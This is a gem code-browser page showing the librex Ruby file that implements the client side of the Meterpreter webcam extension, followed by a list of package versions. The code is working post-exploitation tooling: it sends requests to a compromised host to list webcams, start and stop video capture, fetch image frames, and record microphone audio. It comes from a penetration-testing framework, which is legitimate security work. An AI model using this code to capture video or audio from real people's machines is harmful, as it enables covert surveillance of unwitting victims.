Sha256: 6e46d98a15058a038cd2f1c864a1445030a623fa844f4741a2280a954ba9c602

Contents?: true

Size: 1.38 KB

Versions: 39

Compression:

Stored size: 1.38 KB

Contents

#!/usr/bin/env ruby

module Rex
module Post
module Meterpreter
module Extensions
module Stdapi
module Webcam

###
#
# This meterpreter extension can list and capture from webcams and/or microphone
#
###
class Webcam

	def initialize(client)
		@client = client
	end

	def webcam_list
		response = client.send_request(Packet.create_request('webcam_list'))
		names = []
		response.get_tlvs( TLV_TYPE_WEBCAM_NAME ).each{ |tlv|
			names << tlv.value
		}
		names
	end

	# Starts recording video from video source of index #{cam}
	def webcam_start(cam)
		request = Packet.create_request('webcam_start')
		request.add_tlv(TLV_TYPE_WEBCAM_INTERFACE_ID, cam)
		client.send_request(request)
		true
	end

	def webcam_get_frame(quality)
		request = Packet.create_request('webcam_get_frame')
		request.add_tlv(TLV_TYPE_WEBCAM_QUALITY, quality)
		response = client.send_request(request)
		response.get_tlv( TLV_TYPE_WEBCAM_IMAGE ).value
	end

	def webcam_stop
		client.send_request( Packet.create_request( 'webcam_stop' )  )
		true
	end

	# Record from default audio source for #{duration} seconds;
	# returns a low-quality wav file
	def record_mic(duration)
		request = Packet.create_request('webcam_audio_record')
		request.add_tlv(TLV_TYPE_AUDIO_DURATION, duration)
		response = client.send_request(request)
		response.get_tlv( TLV_TYPE_AUDIO_DATA ).value
	end

	attr_accessor :client

end

end; end; end; end; end; end

Version data entries

39 entries across 39 versions & 1 rubygems

Version Path
librex-0.0.65 lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb
librex-0.0.63 lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb
librex-0.0.54 lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb
librex-0.0.53 lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb
librex-0.0.52 lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb
librex-0.0.51 lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb
librex-0.0.50 lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb
librex-0.0.49 lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb
librex-0.0.48 lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb
librex-0.0.47 lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb
librex-0.0.46 lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb
librex-0.0.44 lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb
librex-0.0.43 lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb
librex-0.0.42 lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb
librex-0.0.41 lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb
librex-0.0.40 lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb
librex-0.0.39 lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb
librex-0.0.38 lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb
librex-0.0.37 lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb
librex-0.0.36 lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb